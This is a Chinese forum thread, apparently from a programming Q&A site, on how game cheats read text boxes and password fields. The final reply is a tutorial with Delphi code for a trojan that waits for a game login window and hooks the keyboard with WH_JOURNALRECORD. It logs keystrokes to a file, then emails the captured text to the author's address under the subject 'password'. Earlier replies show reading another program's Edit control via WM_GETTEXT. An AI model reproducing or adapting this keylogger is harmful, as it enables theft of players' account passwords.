我看见那些外挂可以自动取出如输入框,聊天记录框,甚至游戏密码框的内容...
我想知道那些程序是怎么做到的啊?
最好有程序例子..3X!

解决方案 »

  1.   

    FINDWINDOW 找到程序句炳
    FINDWINDOWEX 找到输入框控件句柄
    SENDMESSAGE WM_GETTEXT  大概是这样的!也可以用鼠标钩子实现!
    在2000下需要用DLL实现!
      

  2.   

    Dll的Hook技术了,网上有相关资料的
      

  3.   

    ■■我是楼主■■
    procedure TForm1.Button1Click(Sender: TObject);
    var
        dd,hh: hwnd;
        i: integer;
        mem: pchar;
    begin
        dd := FindWindow(nil,'Legend Of Mir 3');
        if dd>0 then
        begin
            hh := FindwindowEx(dd,0,pchar('Edit'),nil);
            if hh>0 then
            begin
                i := SendMessage(hh,WM_GETTEXTLENGTH,0,0);
                getmem(mem,i+1);
                SendMessage(hh,WM_GETTEXT,i+1,LongInt(mem));
                showmessage(strpas(mem));
            end
            else
                showmessage('no such window');
        end;
        getmem(mem,0);
    end;为什么还不不能取得输入框的字符了?
      

  4.   

    呵呵,稍微有点水平的软件,你用WM_GETTEXT是不可能取得密码的,因为它已经屏蔽你这个消息的外来调用了。————————————————————————————————————
    宠辱不惊,看庭前花开花落,去留无意;毁誉由人,望天上云卷云舒,聚散任风。
    ————————————————————————————————————
      

  5.   

    用HOOK实现键盘监视等————————————————————————————————————
    宠辱不惊,看庭前花开花落,去留无意;毁誉由人,望天上云卷云舒,聚散任风。
    ————————————————————————————————————
      

  6.   

    要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
       在做程序之前我们必需要了解一下程序的思路:
       1、我们首先知道你想记录游戏的登录窗口名称。
       2、判断登录窗口是否出现。
       3、如果登录窗口出现,就记录键盘。
       4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
       第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
       那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
       HWND FindWindow(     LPCTSTR lpClassName, // pointer to class name
         LPCTSTR lpWindowName  // pointer to window name
        );
       实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
       先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
    HHOOK SetWindowsHookEx(   int idHook, // type of hook to install
       HOOKPROC lpfn, // address of hook procedure
       HINSTANCE hMod, // handle of application instance
       DWORD dwThreadId  // identity of thread to install hook for 
      ); 
       在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
    hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); 
       而HOOKPROC里的函数就要复杂一点点:
    function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; 
    begin 
    if findedtitle then   //如果发现窗口后
    begin 
     if (peventmsg(lparam)^.message = WM_KEYDOWN) then  //消息等于键盘按下
      hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
     if length(hookkey) > 0 then  //如果获得按键名称
     begin 
      Write(hookkeyFile,hookkey); //把按键名称写入文本文件
      hookkey := ''; 
     end; 
    end; 
    end; 
       以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
       我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
      assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
      reset(ReadFile); //设为读取方式
      try 
       While not Eof(ReadFile) do //当没有读到文件尾
       begin 
        Readln(ReadFile,s,j); //读取文件行
        body:=body+s; 
       end; 
      finally 
       closefile(ReadFile); //关闭文件
      end; 
      nmsmtp1.EncodeType:=uuMime; //设置编码
      nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
      nmsmtp1.PostMessage.FromAddress:='[email protected]'; //设置源邮件地址
      nmsmtp1.PostMessage.ToAddress.Text:='[email protected]'; /设置目标邮件地址
      nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
      nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
      nmsmtp1.SendMail; //发送邮件